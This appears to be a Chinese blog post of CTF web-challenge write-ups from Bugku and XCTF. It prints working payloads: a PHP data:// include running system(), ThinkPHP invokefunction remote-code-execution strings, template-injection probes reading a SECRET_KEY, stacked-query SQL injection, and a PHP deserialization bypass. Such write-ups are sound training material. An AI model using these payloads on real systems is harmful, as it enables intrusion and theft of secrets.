赞
踩
一、bugku_web_cookie欺骗:https://ctf.bugku.com/challenges/detail/id/87.html
地址栏filename一看为base64,解密为keys.php
尝试index.php加密为base64:aW5kZXgucGhw,读取一下,啥也没有
观察地址栏,将line赋值为1试试,发现是将index.php按行读取了
将index.php读取出来,读读取结果
#cookies欺骗
import requests
php=""
f=open("index.txt","w+")
for i in range(0,100,1):
url="http://114.67.175.224:14875/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
php=requests.get(url)
f.write(php.content)
f.close()
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); # isset() 函数用于检测变量是否已设置并且非 NULL #这是一个php的三元运算符 (条件) ? (值1):(值2);解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。 #这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];如果$_GET['id']没有被设置,则$id = ''; $line=isset($_GET['line'])?intval($_GET['line']):0; #intval() 函数用于获取变量的整数值 if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); #php header("location: $url")页面跳转 $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
二、xctf_Web_php_include:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5415&page=1
<?php system("dir")?>
//base64编码后为PD9waHAgc3lzdGVtKCJkaXIiKT8+,但是浏览器不能识别+,需要进行url编码,编码后为
PD9waHAgc3lzdGVtKCJkaXIiKT8+
PD9waHAgc3lzdGVtKCJkaXIiKT8%2B
获取flag
<?php system("cat fl4gisisish3r3.php")?>
//编码后
http://111.200.241.244:62118/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看页面源代码获得flag
三、xctf_php_rce:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5412&page=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
2.
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
三、bugku_web:simple_SSTI(https://ctf.bugku.com/challenges/detail/id/196.html)
http://114.67.175.224:17207/?flag={{2*3}};
http://114.67.175.224:17207/?flag={{config}};
#http://114.67.175.224:17207/?flag={{config.SECRET_KEY}};
四、XCTF_web_supersql:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
sqlmap爆破,不成功,只扫出来数据库名称是supersqli?尝试手工注入
题目为suoersqli,明显为sql注入
输入1,1’结果如下,说明注入点格式为’1’
确认注入格式输入:1’ and 1=1#,由结果显示是对的
判断有几列:1' order by 2#
不出错,说明有两列
获取数据库名称:1' select 1,database()#
,提示进行了过滤,尝试一下能获得什么
堆叠查询,用分号分割语句查询1';show databases;#
获取表1';show tables;#
接下来有三种方法解决
1919810931114514
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#
1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#
1';use supersqli;set @sql=concat('s','elect * from `1919810931114514`');PREPARE pre FROM @sql;EXECUTE pre;--+
五、bugku_never_give_up:http://ctf.bugku.com/challenges/detail/id/88.html
<script>window.location.href='http://www.bugku.com';</script> <!--";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { $flag = "flag{***********}" } else { print "never never never give up !!!"; } ?>-->
函数 eregi()语法:
int eregi(string pattern, string string, [array regs]);
定义和用法:
eregi()函数在一个字符串搜索指定的模式的字符串。
实际应用中eregi函数可以用数组绕过,也可以用%00截断
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
六、 xctf_Web_php_unserialize:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
private $file = 'index.php';
//the secret is in the fl4g.php
function __destruct() {
echo @highlight_file($this->file, true);
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
这里使用get方法传参var,进行base64编码,进行匹配,匹配成功就直接结束了,否则unserialize
7. 匹配函数绕过
(preg_match('/[oc]:\d+:/i', $var))
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $a = new Demo('fl4g.php'); $b = serialize($a); print_r($b); ?> O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
Tzo0OiJEZW1vIjoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。